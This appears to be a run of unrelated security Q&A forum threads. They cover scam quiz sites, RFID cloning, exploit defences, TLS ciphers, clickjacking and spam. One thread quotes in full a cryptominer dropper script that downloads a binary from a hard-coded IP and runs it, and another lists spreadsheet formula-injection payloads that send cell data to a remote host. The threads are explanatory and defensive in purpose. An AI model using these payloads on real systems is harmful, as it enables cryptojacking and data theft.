quizrace.com - Malware or just a game? This quizrace.com quiz game is spreading like a virus all over internet forums and sites like 4cahn, minecraft etc (just google for it) - because it requires you to invite 3 friends to continue beyond question 6.

I have to admit it's very appealing game - if you like puzzles and code cracking - but how safe it is? There is no T&C or anything similar so I don't think the price is real, but it increases over time and there are some adds later in the game. Can it be they are collecting email addresses? Can it be some harmful malware?

On the other hand it looks very professionally, the puzzles later on are really tough, made by programmes for programmers and it reminds me of similar quiz made by Google where the first place prize was a job offer.

The whole secrecy around it makes it even more appealing (to some).

What do you think? Have you heard of it?

PS: I am not providing a link to recruit others to pass the question 6, please avoid to do so in the discussion too.

I have not heard about it, but I'll offer some basic thoughts:

  Can it be they are collecting email addresses? Can it be some harmful malware?

Everyone, everywhere is trying to collect your email address on the internet. It's a basic fact of life. It lets companies who are collecting them for 'benign' purposes contact you and keep you involved... it lets malicious companies sell you out to spammers/etc.

It's an unfortunate fact of life that the internet is a scary and dangerous place. Even 'safe' areas can be infiltrated and your data can be stolen.

It's all about tradeoffs... is the fun of this game worth the risk of someone using your information for illicit/malicious purpose?

On the more specific end of things, though, I did a bit of a search on the site and came up with this:

http://www.mywot.com/en/forum/11726-quizrace

Which seems to be very negative about the website. At the very least, it is not a legitimate business organization.. and the worst they are actively doing malicious activities.


kworker34 malware on Linux Clam found this file named "kworker34" in the /tmp directory on my Ubuntu linux machine. I promptly deleted this file. Also found a shell file, kws.sh in there. Looks like it is connecting to 2 IP addresses - one in Russia and one in Ukraine.

Anyone seen this?

This is the content of kwa.sh -

#!/bin/sh
ps -fe|grep kworker34 |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
wget 91.235.143.237/miu.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34
else
wget -O /tmp/kworker34 http://91.235.143.237/kworker_na
fi
chmod +x /tmp/kworker34
nohup /tmp/kworker34  -B -a cryptonight -o stratum+tcp://185.154.52.74:80 -u 13 -p x >/dev/null 2>&1 &
else
echo "runing....."
fi
pkill -f conns
pkill -f irqbalance
crontab -l | sed '/91.230.47.40/d' | crontab -

sleepTime=20

while [ 0 -lt 1 ]
do
    ps -fe| grep kworker34 | grep -v grep
    if [ $? -ne 0 ]
    then
        echo "process not exists ,restart process now... "
                wget 91.235.143.237/miu.png -O /tmp/conn
                dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34
                chmod +x /tmp/kworker34
                nohup /tmp/kworker34 -a cryptonight -o stratum+tcp://185.154.52.74:80 -u 13 -p x >/dev/null 2>&1 &
        echo "restart done ..... "
    else
        echo "process exists , sleep $sleepTime seconds "
        pkill -f conns
        pkill -f irqbalance
        crontab -l | sed '/91.230.47.40/d' | crontab -
    fi
    sleep $sleepTime
done

... /tmp/kworker34 ... -o stratum+tcp://185.154.52.74:80 ...

Googling for stratum+tcp indicates that crypto-currency mining is going on.

 wget 91.235.143.237/miu.png -O /tmp/conn
 dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34

Having a closer look with file /tmp/kworker34 indicates /tmp/kworker34: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped. This means the PNG file is used to transport a Linux binary.

strings /tmp/kworker34 gives among a lot of junk:

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $

UPX packer is by itself not bad but often used in the context of malware. Using upx -d to unpack the file and running again strings on it reveals some interesting strings:

User-Agent: cpuminer/2.3.3
...
Try `minerd --help' for more information.
Usage: minerd [OPTIONS]
  -o, --url=URL         URL of mining server
  -O, --userpass=U:P    username:password pair for mining server
  ...

Thus this is probably cpuminer version 2.3.3 as can be found on github and which is described as:

  This is a multi-threaded CPU miner for Litecoin and Bitcoin,
  fork of Jeff Garzik's reference cpuminer.

For more information about the topic of unwanted miners see New Linux Malware Installs Bitcoin Mining Software on Infected Device and other links.


13.56 Mhz RFID security I am new to the security field, i hope you can help me with this issue,

I am designing an access control system based on RFID 13.56 Mhz, and i am using Mifare RC522 IC, which is compatible with the mifare mini, 1k, 4k, ultralight, desfire Ev1 and Mifare Plus passive tags.

Does the selection of the tag type will affect the security of the communication, if i want to rate the compatible tags ascending?

How can such system be attacked, and how to prevent such attacks? and i want to test my system, is there any tools that i can develop to perform such attacks?

How to protect the communication between reader and tag in addition to ISO 14443 ?

how to protect the data on the tag, and the data on the micro-controller that is driving the reader?

Thanks in advance,

AT

In my opinion the main concern is that Mifare RC522 cards are easy to clone. Anyone with an Arduino and a $1.50 RFID module could copy someone's card and access your building.

If you're concerned about this risk, I do recommend you to check some of the HID RFID smart cards, they are not impossible to break, but definitely way harder.


Preventing exploits like ROP and Return-to-libc in modern Operating systems As I was reading about the advanced exploits such as Return Oriented Programming (ROP), Retun-to-libc, etc., I came across many defenses to these attacks including techniques like ASLR, kBouncer, ROP Defender, etc. But when I went into details of each of these techniques, I found out that each of these defenses can be overcome by making some changes to our approach.

I'm very curious to know how actually modern operating systems are taking care of these kind of advanced exploits. Anyone with expert insights on this topic?

I believe the standard anti-exploit setup is (on Windows and Linux at least): DEP, Stack Guard, hardened heap, and ASLR (sorry, I don't have a reference for this). As you point out, all these techniques can be circumvented, with varying degrees of difficulty, and ROP is one of the main techniques. ASLR provides some defence against ROP but I believe all the other ROP defences you mention are experimental and not used as standard. They may exist in certain anti-virus and host hardening products.

I work with a very skilled exploit developer, and he is usually able to create a reliable exploit for a memory corruption flaw, even with these defences in place. Bear in mind that many attacks these days are Java/JavaScript sandbox escapes where a large attack surface is exposed compared to a network buffer overrun. Also, a lot of exploits are use-after-free flaws which bypass Stack Guard and the hardened heap.


Can JavaScript be used to install malware? Looking at the Pwn2Own contest got me thinking:

http://arstechnica.com/security/2013/03/pwn2own-carnage-continues-as-exploits-take-down-adobe-reader-flash/?comments=1

If you have all plugins turned off on a browser, and all you have is HTML, CSS, and JavaScript running in the browser, can you still become infected with malware? I suppose I never gave it much thought, but just how is it that these viruses can "install themselves"? If you uninstall these plugins and have your browser prompt you for all downloads, you should be "safe" right?

Even with just Html,CSS, and javascript an attacker or malicious site could still attempt to exploit bugs in the browser that would allow them to exploit a machine. Or create dialogs and attempt to trick a user into allowing permission to install malware. This was one example I found by googling javascript and malware install. If anything plugins create a wider attack surface, but without them that doesn't eliminate the attack surface relative to the browser that you use. For example if there is a browser vulnerability that allows remote code execution a malicious website could potentially use javascript to exploit the vulnerability. Hope that helps some.


Why is one of three browsers (Chromium) reporting an invalid HTTPS certificate? A few days ago, Chromium started to report Flickr's certificate as problematic:

The server presented a certificate that was not publicly disclosed using the Certificate Transparency policy. This is a requirement for some certificates, to ensure that they are trustworthy and protect against attackers.
There are issues with the site's certificate chain (net::ERR_CERTIFICATE_TRANSPARENCY_REQUIRED).

Since the problem persisted since then, I tried to open the website in other browsers, and to my surprise, on the same machine, both Firefox and Google Chrome open the HTTPS version of this site successfully.
What does this imply in terms of security? Is someone doing nasty things to me? In other words, could it be that the certificates used by Chromium were changed by a virus? If yes, what's the point?

I suspect this bug: https://bugs.chromium.org/p/chromium/issues/detail?id=664177

It's harmless - this is not an evidence that someone is attacking your connection.

Next update of Chromium should fix this.

They'll shake out all the bugs in CT before the October 2017 date of CT becoming mandatory for all newly issued certificates.


UK healthcare encryption obligations I'll soon be working on upgrading a system which contains a MYSQL server and redis server on AWS

It works by querying two entire tables decrypting all of the contents and then putting the result in redis, the application then queries redis from then on to retrieve results.

The problem is everytime we clear redis all our sites grind to a halt as maybe as much as 20 separate things per user, per site are decrypted at runtime in PHP, some of these things are not even things we're that concerned about from a data privacy point of view like whether they are "active" or not, but some definitely feel like they are address, and some it's hard to figure out like their name

Because the other problem we have with this setup is that we cannot query our users or sort our users by name in SQL we have to start doing that by "querying" redis and then doing SQL like operations in PHP and it can get really ugly performance wise.

I've been looking at mariaDB's encryption at rest feature it would drastically sort out some of our architecture problems from an ease of use and performance point of view, if encryption was transparent in the database, but on the other hand it would be less secure than application level encryption

My question is what obilgations do we have as a company in the UK when it comes to encryption of healthcare related data and is my idea of encryption at rest enough? Are there some specific things about patients that definitely need to be encrypted? (Maybe we could do a hybrid approach?)

Is there a third approach I haven't thought about?

I'll start by saying I'm not a lawyer, and its been a long time since I worked in Healthcare....

I am not aware of any legal constraints beyond the DPA and GDPR. However it is not unusual for health boards to have their own requirements independent of the legislation. Depending on the usage you may also be subject to the HSCIC rules - Amazon have a doc about this. A requirement of the latter is that you trained in the use and application of the policy.

  It works by querying two entire tables decrypting all of the contents and then putting the result in redis

This makes me think that someone has not understood the requirement nor the impact of applying encryption. Since you've written the cleartext outside the encryption, then there is no benefit to the encryption. I suspect that the reason for writing the cleartext outside the encryption is in order to query the data. I'm not surprised that this has an impact on the service as a whole. That is does have a detriment to the service and no benefit implies a net detriment and hence the encryption is actually worse than useless. Presumably someone just heard "encryption" and thought it was more secure. It doesn't matter all that much that Redis is "in memory".

If this was on a platform where you could guarantee the integrity of the memory, then it would be trivial to configure 2 instances of MySQL - one running off zram and one off disk, then replicating between them to make sure you always had an up to date, unencrypted copy which wasn't written to disk without having to rely on batch copying and the constraints of a noSQL database.

There's little effective difference between using transparent encryption implemented by the DBMS and encryption on the block device (e.g. dmcrypt, luks) or at the filesystem tier. There are operational differences about who controls the keys - which may be an important consideration). There is a difference with Mariadb encryption in that it can be specified at the table or tablespace level without having to split tables/tablespaces across different filesystems. MariaDB also supports the AWS key store.

As it stands, IMHO, using any of these transparent encryption methods and not copying the cleartext to redis would give you a faster and more secure solution.


What are the differences between the arcfour, arcfour128 and arcfour256 ciphers in OpenSSH? What are the differences between the arcfour, arcfour128 and arcfour256 ciphers in OpenSSH?

I am interested about: speed and security implications.

I know that arcfour is fast for file transfers, but I don't know which one to pick.

The "arcfour" cipher is defined in RFC 4253; it is plain RC4 with a 128-bit key.

"arcfour128" and "arcfour256" are defined in RFC 4345. They use a key of 128-bit or 256-bit, respectively. Moreover, and contrary to plain "arcfour", they also include a "discard" step: the very first 1536 bytes produced by the cipher are dropped. This is done because the first bytes of RC4 output tend to exhibit biases, which are rarely fatal to your security, but worrisome nonetheless. "arcfour128" and "arcfour256" are thus "more secure" than plain "arcfour".

Note that the extended key size of arcfour256 does not buy you much: a 128-bit key is already more than enough to defeat key cracking through brute force. A 256-bit key is more for aesthetic than rational reasons (there is a widespread belief among auditors that bigger keys are always better, just like there is a widespread belief among people in general that bigger cars are always better).

Note also that while dropping the first 1536 bytes of output fixes issues with the biases in the first 1536 bytes (of course...), it does nothing against the other biases in RC4 output (RC4 output can be distinguished from randomness after about one gigabyte). There again, these biases have never proven fatal in any deployed protocol; however, they "look bad" in audit conditions.

As for performance, there shall be no difference whatsoever, since RC4 speed does not depend upon key size. The extra 1536 bytes implied by arcfour128 and arcfour256 theoretically induce a small one-time extra cost, but that's way below the millisecond worth of CPU even on an asthmatic embedded ARM or Mips, so this would be very hard to even detect in practice.

Summary: use arcfour128 when possible, fallback to arcfour. Use arcfour256 if you need to impress bureaucrats by spewing out huge numbers that they will not understand, but which will cow them into submission.

However, network is usually the bottleneck, so even over gigabit ethernet, AES-based ciphers should provide the same actual speed than RC4, and with arguably better security (even in the skewed view of auditors). If unsure, measure; don't believe one cipher to be faster than another because you read it as some old lore which was thought out at a time when a PentiumPro was the summit of Earth-based technology.


failed login attempts analysis Is there any open source project that logs all the failed login attempts over a period of time and gives me analysis of the same,
the login failure is at windows or unix or mac user authentication over rdp,telnet or login screens or any other forms

If you want to do log analysis in general you can use Splunk or something alike and just introduce all logs. You just have to create a query for your different files (I suggest putting them in one index). After that you can just create a timegraph and and piecharts to see when, where and how much people have tried to log in. It's not opensource though. Only parts of it are opensource and it's not cheap if you have more than 500 MB  of logs per day. There is a complete opensource alternative called logstash.


Browser Updated, yet still vulnerable to POODLE So here's a situation, some of my company's partners notified us that they will be entirely disable their server's SSLv3 support.

This prompts my superior to take this chance to update our operation team's Internet browsers to disable support for SSLv3.

We know that Chrome and Firefox has already issued update to disable SSLv3, hence we ask them to update their browsers to the latest version. However even after we applied the latest update, when we ran through certain test, they still show the browser as vulnerable.

Even weird is, some of the PC would show vulnerable while some showing not vulnerable.

Any idea what's going on?

test used:
https://www.poodletest.com/
https://zmap.io/sslv3/sslv3test.html

Some companies have proxy servers that perform a MITM attack on all https traffic going through a company.  So while SSL3 may be disabled on your browser, it might not be disabled on the proxy server, and the proxy server is what establishes the SSL connection to the test servers you're accessing.

If that's the case, you need to update your proxy server to disable all SSL3 traffic if you want to be sure to be safe from POODLE.


Security implications of injection in api http request from frontend? In my frontend I have something like this:

article = httpLibrary.get('api.mysite.com/articles/' + articleId);

Where articleId is taken from a URL query parameter (it's injectable).

Is this exploitable in any way?

I was thinking of trying to inject a newline and see if I can make it perform two requests. That way I would be able to return any data I want if the second, malicious, request returns first. However, injecting CRLF and NULL bytes did nothing.

This depends on what you could do with an injection; article would be of your choice, but this needn't be helpful.

Nonetheless, if httpLibrary.get does take a URL string, you can easily inject this and return arbitrary data for article:

Setting articleId to @yourdomain.tld/yourpath should make everything in front of it a user name for http basic auth.


Is gzipping content via TLS allowed? So I have these few compression directives at http level in nginx:

gzip on;
gzip_http_version 1.1;
gzip_vary on;

I read that this should be avoided because of CRIME/BREACH attack, is this correct?

I read that this should be avoided because of CRIME/BREACH attack, is this correct?

It depends.

The CRIME attack is already mitigated in current browsers in that they don't use TLS compression and have special handling of contexts in HTTP/2.0. BREACH is only relevant in the context of HTTP level compression if the following two conditions both apply at the same time (to cite http://www.breachattack.com/):

Reflect user-input in HTTP response bodies
Reflect a secret (such as a CSRF token) in HTTP response bodies

If none or only one of these apply you can use gzip without being affected by BREACH. This means you are safe to use it for any static pages or for any pages which don't include secrets like CSRF tokens (that's the secrets the attacker wants to extract).

Also the attacker needs multiple requests to the same site and must be able to look how the size of the transferred data changes. So if your secrets change all the time or if the site changes (like with adding random padding with a random size) the attacker will not be able to use BREACH. See also Defending against the BREACH Attack.


To protect against clickjacking, is it safe to have a web page display its content until framing is detected? Let's assume we have a web page that can't use X-Frame-Options, and the Clickjacking protection has to be JavaScript based. On this page, all sensitive actions and the display of sensitive information are JS based, so for the sake of the question we can assume JS is enabled and running.

The current standard technique involves comparing self with top, and to display content depending on the outcome. Example from OWASP:

<style id="antiClickjack">body{display:none !important;}</style>

And then delete that style by its ID immediately after in the script:

<script type="text/javascript">
   if (self === top) {
       var antiClickjack = document.getElementById("antiClickjack");
       antiClickjack.parentNode.removeChild(antiClickjack);
   } else {
       top.location = self.location;
   }
</script>

I would call this approach "fail closed" because content remains invisible until JS considers self equal to top.

There's also a commonly used "fail open" technique where, if self does not equal top, content is hidden via CSS or by setting document.body.innerHTML=''.

Question: can the latter protection be bypassed in ways other than using the sandbox attribute on the parent's iframe?

I didn't think so until I read this blog comment comparing the two techniques, and it made me wonder whether "fail open" is safe enough:

  "You could use various JS payloads on the parent page to make the framebusting script in the iframe fail, preventing it from hiding the content of the page.
  [...]
  The ones that instead make the content of the page appear if it is not being framed were and are still perfectly fine."

As per your cited OWASP article, there are some examples further down the page.
eg. This one to prevent the framebuster code from loading at all:

<iframe src="http://www.victim.com/?v=<script>if">

This can be mitigated through the use of security headers:

X-XSS-Protection: 1; mode=block

This will prevent the entire page from being rendered should such a query string attack take place.


Isn't extracting an encrypted file to disk a bad idea? When using SanDisk's SecureAccess software to access your 'encrypted' usb key, it requests you give it a location to extract the files to - expecting you to give it a folder to write them out to.

Isn't this incredibly stupid, as you've just created an unencrypted copy of your files, and written them to a disk which now could be 'recovered' even after you delete them?

I feel like I must be missing some obvious fact about this that infact means it is secure, but I can't think of any

If it's useful to decrypt files to a local folder or not depends on your use case

If you use it to provide a secure offline way to transport files from one computer to another it seems perfectly fine to me. The transportation phase is secure, what the receiver does with it is no longer the responsability of the usb disk encryption

If you want to ensure that the files aren't accessible (Without the decryption key) once you have copied them, then you should be copying the files to an encrypted partition (Full disk encryption, a VeraCrypt partition, etc) or use another layer of encryption over the files, like an encrypted 7z file

I never used SecureAccess but I'll be surprised if it doesn't have a feature that doesn't need to decrypt the files on the fly without storing them in a persistent storage


Exfiltrate data by injecting functions in Excel 2007 file rendered with PHP I need to extract data from inside an Excel fille using Excel 2007 functions.

The concept is somewhat related to stored XSS type of data exfiltration only that I need to use Excel 2007 functions (which I managed to inject in the file cells) in order to make the user automatically load an image, web path or make a DNS request.

Until now I have tried the followings but they failed because the Excel file is rendered in PHP with Excel 2007 functions:

=IMPORTDATA(CONCATENATE("https://example.com/", C2))
=WEBSERVICE(CONCATENATE("https://example.com/", C2))

I have successfully injected:

=HYPERLINK(CONCATENATE("https://example.com/",C2), "HYPERLINK HIJACKING")

But in this manner I have to trick a user to open the link by itself (not impossible, but no fun :D).

After a few trials and errors, I have manage to extract data but also I find the following article one of the most comprehensive reaource for data exfiltration using excel formula:

https://www.notsosecure.com/data-exfiltration-formula-injection/

CONCATENATE: Appends strings to one another.

=CONCATENATE(A2:E2)

IMPORTXML: Imports data from various structured data types including XML, HTML, CSV, TSV, and RSS and ATOM XML feeds.

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED: Imports a RSS or ATOM feed.

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML: Imports data from a table or list within an HTML page.

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE: Imports a range of cells from a specified spreadsheet.

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

IMAGE: Inserts an image into a cell.

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")


How do I determine if a certificate in a CT log is my own? I’m experimenting with scanning certificate transparency logs for my domains, and I’d like to filter out log entries for legitimately issued certificates so I only get alerts when someone else gets ahold of a certificate for my domain.

I tried to find out if a CT log entry was mine by comparing its fingerprint to the fingerprint of the certificate on my server. However, I found that some of the entries in the log are “pre-certificates,” which have an extra critical extension to make them not valid in browsers. These are apparently considered equivalent to the final issued certificate for transparency purposes (so it seems like a bad idea to just ignore all pre-certificates), but their fingerprint doesn’t match the key that I have.

How can I determine that such a pre-certificate is equivalent to an issued certificate?

Check the public key, if they match, it is OK. At the end of the day, the key is the important part of the certificate, as if it is your key and the attacker therefore does not have the corresponding private key, the rest is not important.

Do not check the certificate ID as suggested, ID can be manipulated.


Extract public information from p12 without having the password I know this question was already asked here but unfortunately there are no satisfactory answers. Please correct me if I'm wrong, but if I have a p12 file the following two situations are possible:

The whole p12 file is encrypted. But not only the whole file, also the contained private key (encryption of the private key is done by default). So the key is encrypted twice and there is no way to access the public part of the file (certificates).
Only the private key is encrypted. Without having the password I can still easily access the public information (certificates) and read e.g. the common name but of course there is no access to the private key.

Is this right?

So, if we take the first case. Is there any any any way to still access the public information without having the password?

Yes the entire keystore can be optionally protected with a password (encrypted) and no if that is the case you can not view the public information short of brute forcing the password.

You can verify the status of the keystore by using this command:

openssl pkcs12 -info -in keyStore.p12

The file may have a .pfx instead of .p12 extension.  It is the same thing.  If you are prompted for a password the entire keystore is encrypted.  If you aren't it should display all public information.


How to recover from MITM attack? I believe I've been subject to a wpad attack, but I am not sure what was the extent of the damage and how to properly clean and secure my various devices at home.

First, my browser started blocking some random websites because of invalid certificates, (e.g. anything in google.com worked just fine but not wikipedia.com). The same happened when I tried with other browsers. When I check the server certificate, it showed one issued by vihoo (dev/localhost)

Few moments later, I got a notification from my antivirus about JS:Miner.bq in C:\Users\xxxxxx\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NBNFPTGR\wpad[4].htm\00000074.js being detected and deleted. IE history shows that the file was access from http://wpad.<my-own-domain>/wpad.dat (which doesn't exist)

So I was under MITM attack, and my browser could have run undetected malicious javascript. I checked my browsing history, everything was over HTTPS, but there was one website that was accessed via HTTP, no password/sensitive information/downloads there, but if I understand correctly, my browser could have  run further malicious javascript.

I didn't find any suspecious DNS record changes with my personal domain name. So I am assuming here that someone managed to hack into my local home network and/or to my router (I had a public web management console which was just protected by simple password).

Question 1: What would be the extent of the damage if my router was compromized?  browser-saved passwords? files on disk? persistent backdoor?

This is what I did so far:

I run a full antivirus scan everywhere. Nothing was reported except another occurence of the same torjan in C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\wpad[1].htm\00000074.js in the same Windows 7 machine.
Following the recommendations from this post, I deactivated the auto-discovery of network settings in my windows machines, I am not sure though if there is an equivalent for android devices
I factory-reset my router configuration, changed Admin and Wifi passwords, and deactivated the remote web management

Question 2: Are those steps sufficient to properly secure my home network and the rest of my devices? Do I need for example to reinstall Windows and factory-reset all android devices?

What a WPAD attack does, it changes your browser's internet proxy settings, meaning all of your traffic would go through the attackers proxy, meaning he could read all of the unencrypted traffic. If you had seen a certificate warning and visited the website, than the fact that it's HTTPS won't help you, everything still can be intercepted. WPAD attack doesn't affect DNS security, but a router compromise does.

Q1:  Access to the router for an attacker allows him to gain full read and modifying capabilities of your network traffic. Meaning he can redirect your DNS request to his sites, intercept/modify web traffic, simply re-route everything through him etc.

Q2:  For Windows definetly re-install OS, for Android devices it is recommended. Change all of your passwords for sites that your commonly browse or those of high value is definetly a must. Change the web passwords either after you have cleaned and re-set everything or from a previously non-compromised network.


Protecting bare text / link email address published in a website I have an all-core MediaWiki website; no addons, no forms besides a login form (not even a contact us form); the MediaWiki installation is continuously upgraded and everything is quite minimal and secured.
Say my domain is example.com and I bought an email address such as info@example.com from my domain registrar and I want to publish that email address as a text/link (certainly not as an image) in my website's "contact us" webpage.
What steps should I take, if at all, to protect from spammers in that regard?

There is not a thing you can do from the website in these circumstances.  Some basic modifications might help (only display it after solving a Captcha for instance), but it sounds like you don't want to do anything like that.  If your goal is to have it available as plain text on a page that is linked to from the main site, without making further changes, then it can obviously be found by spammers.
Honestly though, it doesn't really matter.  Spam is just a fact of life, and if your email address is something like info@exmaple.com, or support@example.com, it will get spam anyway because that is an obvious email on top of a public domain registration.
Other options
So what to do?  Just make sure you have a good spam blocker or use a provider that has strong anit-spam measures.  Educate yourself (and everyone else you work with) about the dangers of phishing and downloading attachments from people you don't know.  No matter what you do, you'll get spam anyway.


Main factors that influence information security effectiveness? What are the main factors that influence information security effectiveness (besides top management support, employee training and use of security policies)?

That's  not what the examiner expects, but one can say that the main factors that influence information security effectiveness are apathy, incompetence and boredom.

The "right" answer for the exam, though, is whatever is in the corresponding guide book. Unfortunately, anything which talks about "main" or "most important" factors is an arbitrary judgement, and there are several schools of thought which have come up with distinct answers, while simultaneously declaring that all other schools are deluded heretics who should be burnt at the stake insofar as their existence is acknowledged at all.

In practical terms, information security will be effective if everybody understands what is going on, and practices map to what is really needed. Employees shall be made aware of the importance of security, enlisted in its implementation, and should be happily cooperating to its realization. This requires that whatever security goals and strategies and policies and systems are used really benefit to the organization as a whole; in corporative terms, what matters is business. If a security system does something which is actually beneficial to business, and employees who must cope with that system understand this causal relation, then they are much more likely to comply to the formal security system usage rules, and will not try to work around it.

An example of an ineffective policy is a system which forces users to change their password every 42 days. This is irksome, and nobody knows how it promotes the organization goals(*), so users will resist it in creative ways (passwords written down on stcik-up notes concealed under the keyboard, "smart" passwords generated as an easy sequence,...).

(*) It is quite probable that nobody knows what good password renewal makes because, in fact, it does not make any good at all.


How a website knows if a video has been watched or downloaded? There's a video lecture streaming on a university platform that runs javascript. Can the system detect if I'm downloading the video (via IDM) rather than just watching it? In other words, how can a website know if a video has been watched or downloaded?

After much trouble, such as quality fluctuations, unexpected changes in playback speed, and frozen screens, I've decided to download the videos using (Internet Download Manager).

That, however, violates the terms of the university, even though I obviously don't intend to make any commercial use of the videos and I'm going to be the only one watching them.

I'd like to know if the content provider can notice that I'm not streaming the videos but downloading them.

It could be done in several ways. For example, the page where you are supposed to watch the video could have some JavaScript code that monitors the users' interactions with the platform (page, player, etc.). So, for example, if you watch a 1-hour video on their platform, your browser is going to download the whole video of course, but at the same time the JavaScript will send data that shows you have been visiting the page for about 1 hour. It could be something like this, for example:

// Every 120 seconds, send data about what you are doing
setInterval(send_browsing_data(video_id, user_id, video_time),120000);

If the website notices that somebody downloaded the whole video but at the same time they received no data to justify that from the browser, they might suspect that something is wrong.

I personally wouldn't worry about it at all, though. Go ahead and download it, if you have a good reason to do so.


How to deal with SMS spam? Every few weeks, I get an annoying SMS trying to sell me something, or trying to get me to click something, or otherwise spamming me.

I don't think it's a targeted thing- I think my phone number is just out there, or bots are trying random phone numbers. That kind of thing. Sometimes they're clearly from burner e-mail addresses, sometimes not.

In any case, I don't know how to deal with this. Occasionally, I inject a little joy into my day by sending a response text into the void letting the sender know exactly how intensely I hate them, but overwhelmingly I ignore the thing and get on with my day.

Are there any other, more efficacious options available to me?

Additionally, if I were targeted and receiving a deluge of SMS spam, what options would be available to me at that point?

Specifically, I want the sender to suffer in any legally-protected way which is also (hopefully) low-effort from me. Blocking numbers is nice, but it's a hack, not a solution.

If you want to do something, you can report the SPAM.

Depending on your country of residence, you may have different number where you can forward the spam SMS (7726 in the US, 33700 in France, 1909 in India, as mentioned in the linked Wikipedia page). This among other thing is meant to help to detect such messages (still according Wikipedia). You may also have web page to report them (like this one handled by the Federal Communication Comission).

In other words, search for "how to report SMS spam" and you should be good.


Why doesn't the OS authenticate itself to me? Sometimes it occurs to me, when doing something like a brew install, or really anything on a CLI (though I suppose this is also true of GUIs to a marginally lesser extent) that prompts me for a password - that really no effort is made to authenticate that it is the OS that has control of stdin.

It seems, to me at least, that one could write a program that would seem reasonable to give root access, though would itself print out a prompt: 'Password:', and I would maybe never know that I had given my plaintext OS password to the application.

I might think I had, if the application then did something that did require sudo, and so the OS prompted; though even then I couldn't be sure - if it spawned another process for example I think it would be possible the OS would genuinely prompt twice, once for each child?

This is also true of GUIs, only very marginally (and against Kirckhoff) less so due to the need to replicate the OS' prompt.

Why isn't there some form of authentication - whatever that might look like - proving to me, the user, that the supposed OS, is the OS when e.g. prompting for my password?

When you type "sudo [software]", it will Always assume the software needs admin rights.

Thus, the OS will ask for the password, Before the process [software] has a chance to run at all.

However, you have a risk, and that is when you have sudo set to "remember" your authorization for a preset time. This is default behaviour, and I Think the time is set to 5 minutes. This can be disabled so sudo will Always ask for password 100% of the times.

Then if "authorization remember" is enabled, the software you are launching using sudo, could ask for your password, and you would Think its the sudo prompt. BUT REMEMBER:
You have already authorized the software to run as root, so it can easily run "passwd [your username]" and change your password, if the software is malicious and want to maintain root access.
Another thing the software can do, since its running as root, is to add a own user account with sudo rights, or just right out change the root password to something the software knows.

Once you authorize a software to run as root via sudo, you assume this software is completely legit and are completely 100 % trusted, so a OS->user auth would add no security whatsever.

As long as you type the Word "sudo", theres no way a application without root rights, could fool you into entering your password for a malicious process.

If a software however "self-sudo" when it needs elevated rights, like "brew install" without sudo, there is a possibility for the software to capture your password.

However, lets say the OS authenticate by Mutual authentication, by displaying a "security question" which only you and the OS knows the correct one. Then the malicious software could either capture the OS authentication by itself spawning the process and Reading from STDIN, or the software could simply Place itself as a "MITM" between the OS password request process and the user, using pipes, displaying the correct OS->user auth (even if the OS->user auth would be a one-time password system) AND also capturing the password.

Windows has solved this problem by requiring the user to press CTRL+ALT+DEL Before login. If a user spawned a process that looked like a login dialog and put this as full-screen in a attempt to capture for example administrator credentials, the administrator would either notice the CTRL+ALT+DEL prompt is missing, OR the administrator would press CTRL+ALT+DEL causing task manager to start instead, instantly giving away that the login dialog is fake.

However, this is only applicable for the first login dialog. You cannot do any protection/authentication for login requiest done while a user session is Active, that would be protected against any malicious processes running as that user.


Unknown hijacker/popups on the browser I was cleaning my father’s laptop which was recently infected by a fairly tenacious piece of malware.  It hasn't given any great clues as to what it is named or anything of that sort and thus far resisted me try most of the techniques. Some of the symptoms of the virus are:

Popups while using some Adcash sites.
Hijacking attempts to navigate to pages.
Slow browser

What could be the virus and how do I remove it?

Salvage data you wish to keep (but keep in mind something may be infected so analyse backup later), format hard drive, reinstall the OS.

It's the only way.


Human or Bot: Behind the Scene Checks vs CAPTCHA I'm working on a web app at the moment where we’re trying to remove any user friction and excess steps from our user creation page. To avoid computer bots completely spamming our app we need to have a some sort of CAPTCHA but this would take away from the main idea behind the app which is simplicity.

When looking through the suggestions of alternatives here on Stack Exchange they all seem to still take away from the UX and leave room for bots to work around. Suggestions here:

Anyone using Asirra in production? Are there similar alternatives?
Is there a true alternative to using CAPTCHA images?
https://ux.stackexchange.com/questions/50051/is-there-an-easier-and-more-user-friendly-alternative-to-captcha
https://ux.stackexchange.com/questions/51864/captcha-on-mobile-what-are-the-alternatives

This got me thinking, why can't we detect whether a user is real or a bot using a series of anti-bot methods behind the scenes such as honeypots, time-stamps, rogue POST and GET requests, whether JavaScript is enabled, checking HTTP header and others.

Is there a technical reason why this hasn't been done? Thinking about writing up a library myself otherwise :).

CAPTCHA are not necessarily needed nor or they the only solution. Defense in depth means using multiple tactics, layers, and techniques. If you have information you can try to determine the likelihood that the client talking to your web app is (A) a human and (B) a human you want accessing your site.

There are reputation services out there that can provide blacklists based on reports or peer-customers, your upstream network providers or CDN providers may offer such services as well. You may choose to block access from certain known bad ranges, bad or unlikely countries of origin, etc.

You can tune your response based on the risk, cost, etc. You can also manually adjust your metrics over time depending on expected number of customers versus customers that do not sign up, repeat ip addresses, tracking to email invite codes, etc.

A while back I saw a good presentation on "Repsheet" where the presenter talked about all of the behavioral analysis and data points his company uses to identify likely fraudsters and how they used multiple techniques to address it. The slides were more accompaniment rather than stand alone, but you should still be able to follow the techniques. Some components of the system are available at the repsheet github repo.


